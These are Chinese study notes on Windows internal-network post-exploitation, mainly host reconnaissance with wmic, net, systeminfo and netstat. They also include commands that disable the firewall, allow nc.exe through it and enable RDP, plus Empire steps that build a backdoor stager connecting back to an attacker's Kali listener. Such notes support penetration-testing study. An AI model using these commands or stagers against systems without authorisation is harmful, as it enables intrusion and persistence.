0x00 参考

《内网安全攻防》笔记。

0x01 手动收集信息

本机信息包括OS、权限、内网IP段、杀软、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,OS、应用软件、补丁、服务、杀软这些一般都是批量安装的。

查询网络配置信息

1
ipconfig /all

使用该命令可查看IP地址、DNS服务器、主机名、域名等信息:

查询操作系统及软件信息

查询操作系统名称和版本信息

分英文版和中文版:

1
2
3
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查看系统体系结构

1
echo %PROCESSOR_ARCHITECTURE%

查看安装的软件及版本、路径等

利用wmic命令将结果输出到文本文件中:

1
wmic product get name,version

利用PowerShell命令收集软件的版本信息(当然如果已在PowerShell终端,则直接输入双引号里的命令即可):

1
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

查询本机服务信息

1
wmic service list brief

查询进程列表

1
tasklist

该命令可以查看当前进程列表和进程用户,分析软件、客户端邮件、VPN和杀毒软件等进程:

如下命令查看进程信息:

1
wmic process list brief

常见杀毒软件的进程

如下表:

进程 软件名称
360SD.EXE 360杀毒
360TRAY.EXE 360实时保护
ZHUDONGFANGYU.EXE 360主动防御
KSAFETRAY.EXE 金山卫士
SAFEDOGUPDATECENTER.EXE 服务器安全狗
MCAFEE MCSHIELD.EXE 迈克菲杀毒软件
EGUI.EXE NOD32
AVP.EXE 卡巴斯基
AVGUARD.EXE 小红伞
BDAGENT.EXE BITDEFENDER

查询启动程序信息

1
wmic startup get command,caption

查询计划任务

1
schtasks /query /fo LIST /v

查询主机开机时间

1
net statistics workstation

查询用户列表

1
net user

通过分析本机用户列表,可以得出内网机子的命名规则,特别是个人及其的名称,可以用来推测整个域的用户命名方式。

通过以下命令获取本地管理员(通常包含域用户)信息:

1
net localgroup administrators

可以看到,本地管理员有两个用户和一个组,默认Domain Admins组中为域内机器的本地管理员用户。在真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。如图:

执行如下命令查看当前在线用户:

1
query user || qwinsta

列出或断开本地计算机与所连接的客户端之间的会话

1
net session

查询端口列表

1
netstat -ano

查询补丁列表

1
systeminfo

需要注意系统的版本、位数、域、补丁信息及更新频率等。域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞。

使用wmic命令查看安装在系统中的补丁,包括补丁的名称、描述、ID、安装时间等信息:

1
wmic qfe get Caption,Description,HotFixID,InstalledOn

查询本机共享列表

1
net share

该命令可查看本机共享列表和可访问的域共享列表(域共享在很多时候是相同的):

利用wmic命令查找共享列表:

1
wmic share get name,path,status

查询路由表及所有可用接口的ARP缓存表

1
2
route print
arp -a

查询防火墙相关配置

关闭防火墙

Windows Server 2003及之前的版本:

1
netsh firewall set opmode disable

Windows Server 2003之后的版本:

1
netsh advfirewall set allprofiles state off

查看防火墙配置

1
netsh firewall show config

修改防火墙配置

Windows Server 2003及之前的版本,允许指定程序全部连接:

1
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

Windows Server 2003之后的版本,情况如下。

允许指定程序进入:

1
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

允许指定程序退出:

1
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

允许3389端口放行:

1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

自定义防火墙日志的储存位置

1
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查询代理配置情况

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

这里我本地是没开代理端口的:

查询并开启远程连接服务

查看远程连接端口

1
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber

在命令行环境中执行注册表查询语句,连接的端口为0xd3d,转换后为3389:

在Windows Server 2003中开启3389端口

1
wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1

在Windows Server 2008和Windows Server 2012中开启3389端口

1
2
3
4
5
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

0x02 自动收集信息

为了简化前面手动收集信息的操作,我们可以直接创建一个脚本文件来自动完成前面的信息查询等工作。这里推荐一个使用WMIC收集目标机器信息的脚本。

WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令行)是最有用的Windows命令行工具。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关操作。

下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

我们可简单看下它的代码,其实就是执行一些wmic查询命令然后保存到html文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

执行该脚本后,会在本地生成一个HTML文件来保存结果:

0x03 Empire下的主机信息收集

Empire是针对Windows系统的后渗透神器,包括了从stager生成、提权到渗透维持的一系列功能。

官网:http://www.powershellempire.com/

简单使用过程:

  1. 启动:./empire
  2. 查看已有监听器:listeners
  3. 删掉之前所有创建的监听器:kill all
  4. 查看已有Agents并删除:agentsremove all
  5. 使用http监听器:uselistener http
  6. 查看、设置对应选项并执行监听器:infoset Port 8080set Host kali[ip]:8080set Name hackinfoexecute
  7. 使用usestager来生成后门:backusestager windows/launcher_bat
  8. 查看、设置对应监听器选项并执行生成后门文件:infoset Listener hackinfoexecute
  9. 生成的后门文件在/tmp目录下,拿到目标机子执行后可以取得连接shell
  10. Agents交互回连:agentsinteract xxx

Empire提供了用于收集主机信息的模块。输入如下命令即可查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等:

1
usemodule powershell/situational_awareness/host/winenum

此外,powershell/situational_awareness/host/computerdetails模块几乎包含了系统中所有有用的信息,比如目标主机事件日志、应用程序控制策略日志,包括RDP登录信息、PowerShell脚本运行和保存的信息等。注意,该模块需要管理员权限运行。

0x04 查询当前权限

查询当前权限

1
whoami

通过该命令,我们一般可以区分出当前用户是属于以下哪种用户:

  • 本地普通用户
  • 本地管理员用户
  • 域内用户

在这三种情况下,如果当前内网中存在域,那么本地普通用户是查询不到内网域信息的,而只能查询本机相关信息,但是本机管理员用户和域内用户则可以查询域内信息。

其原理在于:域内的所有查询都是通过DC实现的(基于LDAP协议),而这个查询需要经过权限认证,所以只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输入账号密码。

本地管理员Administrator权限可以直接提升为Ntauthority或System权限,因此在域中除了普通用户外,所有的机器都有一个机器用户(用户名是机器名加上“$”)。在本质上,机器的System用户对应的就是域里面的机器用户。所以,使用System权限可以运行域内的查询命令。

比如这里是hacker域内的testuser用户:

获取域SID

1
whoami /all

可以看到当前域hacker的SID为S-1-5-21-554479669-3187065311-1765148423,域用户testuser的SID为S-1-5-21-554479669-3187065311-1765148423-1105:

查询指定用户的详细信息

1
net user xxx /domain

输入该命令可以看到当前用户在本地组中有没有本地管理员权限,属于哪个域等。

这里看到testuser用户在本地组并没有本地管理员权限,在域中属于Domain Users组: